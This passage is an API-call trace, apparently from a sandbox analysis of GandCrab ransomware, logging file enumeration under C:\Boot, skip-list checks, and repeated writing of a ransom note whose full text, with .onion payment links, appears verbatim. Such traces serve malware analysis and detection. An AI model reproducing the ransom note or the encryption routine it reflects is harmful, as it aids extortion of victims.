(lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0052.761] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.761] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.761] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.761] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.761] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\nb-NO\\memtest.exe.mui") returned="C:\\Boot\\nb-NO\\memtest.exe.mui" [0052.761] lstrlenW (lpString="C:\\Boot\\nb-NO\\memtest.exe.mui") returned 29 [0052.761] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.761] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.761] FindClose (in: hFindFile=0x588b20 | out: hFindFile=0x588b20) returned 1 [0052.761] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.762] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\nb-NO\\\\GDCB-DECRYPT.txt") returned 31 [0052.762] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\nb-no\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.762] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.762] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.762] CloseHandle (hObject=0x4e0) returned 1 [0052.763] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.763] lstrlenW (lpString="C:\\Boot\\nb-NO\\") returned 14 [0052.763] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="*" | out: lpString1="C:\\Boot\\nb-NO\\*") returned="C:\\Boot\\nb-NO\\*" [0052.763] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588b20 [0052.763] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.763] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.763] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.763] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.763] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.763] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.763] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.763] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned="C:\\Boot\\nb-NO\\bootmgr.exe.mui" [0052.763] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.764] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0052.764] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0052.764] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.764] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.764] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.764] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.764] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt") returned="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt" [0052.764] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.764] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt") returned 30 [0052.764] lstrlenW (lpString="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt") returned 30 [0052.764] lstrlenW (lpString="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt") returned 30 [0052.764] lstrlenW (lpString="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt") returned 30 [0052.764] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.764] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.764] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.764] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.764] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.764] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.764] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.765] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.765] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.765] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.765] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.765] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.765] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.765] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\nb-NO\\memtest.exe.mui") returned="C:\\Boot\\nb-NO\\memtest.exe.mui" [0052.765] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.765] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\nb-NO\\memtest.exe.mui") returned 29 [0052.765] lstrlenW (lpString="C:\\Boot\\nb-NO\\memtest.exe.mui") returned 29 [0052.765] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.765] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.765] FindClose (in: hFindFile=0x588b20 | out: hFindFile=0x588b20) returned 1 [0052.765] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.766] lstrcmpW (lpString1="nl-NL", lpString2=".") returned 1 [0052.766] lstrcmpW (lpString1="nl-NL", lpString2="..") returned 1 [0052.766] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="nl-NL" | out: lpString1="C:\\Boot\\nl-NL") returned="C:\\Boot\\nl-NL" [0052.766] lstrcatW (in: lpString1="C:\\Boot\\nl-NL", lpString2="\\" | out: lpString1="C:\\Boot\\nl-NL\\") returned="C:\\Boot\\nl-NL\\" [0052.766] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.766] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.766] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.766] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.766] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.766] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.766] lstrlenW (lpString="C:\\Boot\\nl-NL\\") returned 14 [0052.766] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="*" | out: lpString1="C:\\Boot\\nl-NL\\*") returned="C:\\Boot\\nl-NL\\*" [0052.766] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588de0 [0052.768] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.768] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.768] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.768] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.768] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.768] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.768] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.768] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned="C:\\Boot\\nl-NL\\bootmgr.exe.mui" [0052.768] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0052.768] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.768] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.768] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.768] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.768] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\nl-NL\\memtest.exe.mui") returned="C:\\Boot\\nl-NL\\memtest.exe.mui" [0052.768] lstrlenW (lpString="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 29 [0052.768] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.768] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.768] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.768] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.768] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\nl-NL\\\\GDCB-DECRYPT.txt") returned 31 [0052.768] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\nl-nl\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.769] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.769] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.769] CloseHandle (hObject=0x4e0) returned 1 [0052.769] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.770] lstrlenW (lpString="C:\\Boot\\nl-NL\\") returned 14 [0052.770] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="*" | out: lpString1="C:\\Boot\\nl-NL\\*") returned="C:\\Boot\\nl-NL\\*" [0052.770] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588e60 [0052.770] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.770] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.770] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.770] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.770] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.770] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.770] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.770] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned="C:\\Boot\\nl-NL\\bootmgr.exe.mui" [0052.770] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.770] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0052.770] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0052.770] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.771] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.771] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.771] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.771] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt") returned="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt" [0052.771] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.771] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt") returned 30 [0052.771] lstrlenW (lpString="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt") returned 30 [0052.771] lstrlenW (lpString="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt") returned 30 [0052.771] lstrlenW (lpString="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt") returned 30 [0052.771] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.771] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.771] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.771] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.771] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.771] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.771] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.771] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.771] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.771] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.771] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.771] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.772] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.772] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\nl-NL\\memtest.exe.mui") returned="C:\\Boot\\nl-NL\\memtest.exe.mui" [0052.772] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.772] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 29 [0052.772] lstrlenW (lpString="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 29 [0052.772] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.772] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.772] FindClose (in: hFindFile=0x588e60 | out: hFindFile=0x588e60) returned 1 [0052.772] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.772] lstrcmpW (lpString1="pl-PL", lpString2=".") returned 1 [0052.772] lstrcmpW (lpString1="pl-PL", lpString2="..") returned 1 [0052.772] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="pl-PL" | out: lpString1="C:\\Boot\\pl-PL") returned="C:\\Boot\\pl-PL" [0052.772] lstrcatW (in: lpString1="C:\\Boot\\pl-PL", lpString2="\\" | out: lpString1="C:\\Boot\\pl-PL\\") returned="C:\\Boot\\pl-PL\\" [0052.772] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.773] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.773] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.773] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.773] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.773] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.773] lstrlenW (lpString="C:\\Boot\\pl-PL\\") returned 14 [0052.773] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="*" | out: lpString1="C:\\Boot\\pl-PL\\*") returned="C:\\Boot\\pl-PL\\*" [0052.773] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588a20 [0052.774] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.774] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.774] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.774] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.774] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.774] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.774] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.774] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned="C:\\Boot\\pl-PL\\bootmgr.exe.mui" [0052.774] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0052.774] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.774] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.774] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.774] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.774] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\pl-PL\\memtest.exe.mui") returned="C:\\Boot\\pl-PL\\memtest.exe.mui" [0052.774] lstrlenW (lpString="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 29 [0052.774] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.774] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.774] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.774] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.775] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\pl-PL\\\\GDCB-DECRYPT.txt") returned 31 [0052.832] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\pl-pl\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.832] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.832] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.833] CloseHandle (hObject=0x4e0) returned 1 [0052.833] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.833] lstrlenW (lpString="C:\\Boot\\pl-PL\\") returned 14 [0052.833] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="*" | out: lpString1="C:\\Boot\\pl-PL\\*") returned="C:\\Boot\\pl-PL\\*" [0052.833] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588de0 [0052.833] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.833] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.833] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.833] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.833] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.833] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.833] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.833] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned="C:\\Boot\\pl-PL\\bootmgr.exe.mui" [0052.833] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.834] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0052.834] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0052.834] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.834] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.834] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.834] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.834] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt") returned="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt" [0052.834] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.835] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt") returned 30 [0052.835] lstrlenW (lpString="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt") returned 30 [0052.835] lstrlenW (lpString="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt") returned 30 [0052.835] lstrlenW (lpString="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt") returned 30 [0052.835] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.835] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.835] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.835] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.835] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.835] lstrcmpiW 